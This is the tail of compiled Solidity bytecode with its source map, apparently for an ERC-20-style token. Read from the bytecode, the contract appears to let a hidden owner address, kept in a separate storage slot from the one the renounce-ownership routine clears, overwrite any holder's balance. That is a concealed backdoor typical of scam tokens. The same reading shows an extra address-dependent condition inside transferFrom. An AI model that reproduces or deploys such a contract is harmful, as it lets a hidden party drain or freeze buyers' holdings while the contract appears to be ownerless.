90611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b679190611048565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bcb9190610e73565b60405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3757600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600081519050919050565b600082825260208201905092915050565b60005b83811015610cdd578082015181840152602081019050610cc2565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d0582610ca3565b610d0f8185610cae565b9350610d1f818560208601610cbf565b610d2881610ce9565b840191505092915050565b60006020820190508181036000830152610d4d8184610cfa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8582610d5a565b9050919050565b610d9581610d7a565b8114610da057600080fd5b50565b600081359050610db281610d8c565b92915050565b6000819050919050565b610dcb81610db8565b8114610dd657600080fd5b50565b600081359050610de881610dc2565b92915050565b60008060408385031215610e0557610e04610d55565b5b6000610e1385828601610da3565b9250506020610e2485828601610dd9565b9150509250929050565b60008115159050919050565b610e4381610e2e565b82525050565b6000602082019050610e5e6000830184610e3a565b92915050565b610e6d81610db8565b82525050565b6000602082019050610e886000830184610e64565b92915050565b600080600060608486031215610ea757610ea6610d55565b5b6000610eb586828701610da3565b9350506020610ec686828701610da3565b9250506040610ed786828701610dd9565b9150509250925092565b600060ff82169050919050565b610ef781610ee1565b82525050565b6000602082019050610f126000830184610eee565b92915050565b600060208284031215610f2e57610f2d610d55565b5b6000610f3c84828501610da3565b91505092915050565b60008060408385031215610f5c57610f5b610d55565b5b6000610f6a85828601610da3565b9250506020610f7b85828601610da3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610fcc57607f821691505b602082108103610fdf57610fde610f85565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061101f82610db8565b915061102a83610db8565b925082820390508181111561104257611041610fe5565b5b92915050565b600061105382610db8565b915061105e83610db8565b925082820190508082111561107657611075610fe5565b5b9291505056fea2646970667358221220d354bbc9c833f72bb13b4e95be5aad6ab280a7ed62c9e2b8ec2a34f077655b2664736f6c63430008130033

11426:2685:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11620:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13253:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11737:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13474:542;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11703:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12636:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12433:194;;;:::i;:::-;;13155:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11666:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12749:322;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14027:75;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11549:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11620:36;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;13253:209::-;13318:12;13380:5;13347:9;:21;13357:10;13347:21;;;;;;;;;;;;;;;:30;13369:7;13347:30;;;;;;;;;;;;;;;:38;;;;13422:7;13401:36;;13410:10;13401:36;;;13431:5;13401:36;;;;;;:::i;:::-;;;;;;;;13455:4;13448:11;;13253:209;;;;:::o;11737:45::-;;;;:::o;13474:542::-;13553:12;13621:4;;13608:3;:9;13612:4;13608:9;;;;;;;;;;;;;;;;:17;;13600:26;;;;;;13668:4;;13657:3;:7;13661:2;13657:7;;;;;;;;;;;;;;;;:15;;13649:24;;;;;;13713:3;:9;13717:4;13713:9;;;;;;;;;;;;;;;;13704:5;:18;;13696:27;;;;;;13751:9;:15;13761:4;13751:15;;;;;;;;;;;;;;;:27;13767:10;13751:27;;;;;;;;;;;;;;;;13742:5;:36;;13734:45;;;;;;13803:5;13790:3;:9;13794:4;13790:9;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;13834:5;13823:3;:7;13827:2;13823:7;;;;;;;;;;;;;;;;:16;;;;;;;:::i;:::-;;;;;;;;13889:5;13858:9;:15;13868:4;13858:15;;;;;;;;;;;;;;;:27;13874:10;13858:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;13915:3;;;;;;;;;;;13907:11;;:4;:11;;;13904:29;;13928:3;;;;;;;;;;;13921:10;;13904:29;13981:2;13966:25;;13975:4;13966:25;;;13985:5;13966:25;;;;;;:::i;:::-;;;;;;;;14009:4;14002:11;;13474:542;;;;;:::o;11703:25::-;;;;;;;;;;;;;:::o;12636:105::-;12694:7;12721:3;:12;12725:7;12721:12;;;;;;;;;;;;;;;;12714:19;;12636:105;;;:::o;12433:194::-;12519:5;;;;;;;;;;;12505:19;;:10;:19;;;12497:28;;;;;;12577:1;12541:39;;12562:5;;;;;;;;;;;12541:39;;;;;;;;;;;;12607:1;12591:5;;:18;;;;;;;;;;;;;;;;;;12433:194::o;13155:91::-;13125:3;;;;;;;;;;;13111:17;;:10;:17;;;13103:26;;;;;;13227:2:::1;13217:3;:7;13221:2;13217:7;;;;;;;;;;;;;;;:12;;;;13155:91:::0;;:::o;11666:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12749:322::-;12810:12;12872:5;12853:3;:15;12857:10;12853:15;;;;;;;;;;;;;;;;:24;;12845:33;;;;;;12924:4;;12905:3;:15;12909:10;12905:15;;;;;;;;;;;;;;;;:23;;12897:32;;;;;;12958:5;12939:3;:15;12943:10;12939:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;12991:5;12980:3;:7;12984:2;12980:7;;;;;;;;;;;;;;;;:16;;;;;;;:::i;:::-;;;;;;;;13036:2;13015:31;;13024:10;13015:31;;;13040:5;13015:31;;;;;;:::i;:::-;;;;;;;;13064:4;13057:11;;12749:322;;;;:::o;14027:75::-;13125:3;;;;;;;;;;;13111:17;;:10;:17;;;13103:26;;;;;;14098:2:::1;14088:3;:7:::0;14092:2:::1;14088:7;;;;;;;;;;;;;;;:12;;;;14027:75:::0;;:::o;11549:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:180::-;5716:77;5713:1;5706:88;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5854:320;5898:6;5935:1;5929:4;5925:12;5915:22;;5982:1;5976:4;5972:12;6003:18;5993:81;;6059:4;6051:6;6047:17;6037:27;;5993:81;6121:2;6113:6;6110:14;6090:18;6087:38;6084:84;;6140:18;;:::i;:::-;6084:84;5905:269;5854:320;;;:::o;6180:180::-;6228:77;6225:1;6218:88;6325:4;6322:1;6315:15;6349:4;6346:1;6339:15;6366:194;6406:4;6426:20;6444:1;6426:20;:::i;:::-;6421:25;;6460:20;6478:1;6460:20;:::i;:::-;6455:25;;6504:1;6501;6497:9;6489:17;;6528:1;6522:4;6519:11;6516:37;;;6533:18;;:::i;:::-;6516:37;6366:194;;;;:::o;6566:191::-;6606:3;6625:20;6643:1;6625:20;:::i;:::-;6620:25;;6659:20;6677:1;6659:20;:::i;:::-;6654:25;;6702:1;6699;6695:9;6688:16;;6723:3;6720:1;6717:10;6714:36;;;6730:18;;:::i;:::-;6714:36;6566:191;;;;:::o

ipfs://d354bbc9c833f72bb13b4e95be5aad6ab280a7ed62c9e2b8ec2a34f077655b26